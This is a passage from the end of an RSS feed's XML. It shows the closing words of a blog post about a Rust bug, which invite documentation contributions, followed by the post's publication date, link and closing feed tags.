team would love &lt;a href=&quot;https://github.com/rust-lang/rust/issues/29370&quot;&gt;documentation changes&lt;/a&gt; too. Happy hacking!&lt;/p&gt;

</description>
        <pubDate>Wed, 10 May 2017 23:23:23 +0000</pubDate>
	<link>https://thesquareplanet.com/blog/the-story-of-a-rust-bug/</link>
	<guid isPermaLink="true">https://thesquareplanet.com/blog/the-story-of-a-rust-bug/</guid>
        
        
      </item>
      
    
  </channel>
</rss>
